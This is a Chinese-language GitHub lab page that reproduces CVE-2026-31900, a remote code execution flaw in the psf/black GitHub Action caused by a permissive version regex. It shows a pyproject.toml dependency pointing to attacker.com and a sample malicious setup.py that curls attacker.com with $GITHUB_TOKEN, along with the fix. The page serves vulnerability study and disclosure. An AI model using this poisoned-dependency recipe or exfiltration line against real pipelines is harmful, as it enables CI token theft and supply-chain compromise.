Batosay1337Lab/cve-2026-31900-lab

GitHub: Batosay1337Lab/cve-2026-31900-lab

这是一个针对 CVE-2026-31900 的漏洞复现实验室,用于演示 psf/black GitHub Action 因正则验证不严格导致的远程代码执行漏洞。

Stars: 0 | Forks: 1

# CVE-2026-31900 — 漏洞实验室 **psf/black GitHub Action RCE via Insecure Regex Validation** | 字段 | 详情 | |-------|--------| | CVE | CVE-2026-31900 | | CVSS | 8.7 (高危) | | Advisory | GHSA-v53h-f6m7-xcgm | | 受影响 | psf/black GitHub Action < v26.3.0 | | 类型 | RCE via Supply Chain (pull_request 触发器) | ## 漏洞 `use_pyproject: true` 选项从 `pyproject.toml` 读取 Black 版本。用于验证版本字符串的正则表达式由于使用了 `re.IGNORECASE` 而过于宽松,允许使用空格、`@`、`:` 和 `/` 等字符 —— 这些正是 PEP 508 URL 规范所需要的字符。 ### 易受攻击的正则表达式 ``` BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE) ``` ## 攻击向量 1. Fork 此仓库 2. 在你的 fork 中修改 `pyproject.toml`: ``` [project] dependencies = [ "black @ https://attacker.com/malicious_black.tar.gz" ] ``` 3. 打开 Pull Request → `pull_request` workflow 触发器被触发 4. Action 从 `pyproject.toml` 读取恶意版本,绕过正则验证 5. pip 安装攻击者控制的包 → `setup.py` 执行任意代码 ### 恶意包 `setup.py` 示例 ``` from setuptools import setup import os os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN") setup(name="black", version="26.1.0") ``` ## 凭据窃取影响 - `$GITHUB_TOKEN` (CI runner 令牌) - 注入到 workflow 环境中的任何机密 ## 修复 升级到 **psf/black v26.3.0** 或在 workflow YAML 中显式固定版本,而不是使用 `use_pyproject: true`。 ## 实验室结构 ``` .github/workflows/black.yml ← Vulnerable workflow (use_pyproject: true) pyproject.toml ← Legitimate config (main branch) app.py ← Sample Python file being formatted ```
标签:CI/CD安全, CVE-2026-31900, DevSecOps, GHSA-v53h-f6m7-xcgm, GitHub Actions, GITHUB_TOKEN, Llama, PEP 508, pip安装, PSF/Black, pyproject.toml, Python代码格式化, RCE, Regex Bypass, Vulnerable Lab, 上游代理, 依赖投毒, 安全靶场, 正则表达式绕过, 漏洞复现, 编程工具, 自动化攻击, 自动笔记, 足迹探测, 远程代码执行, 逆向工具, 高危漏洞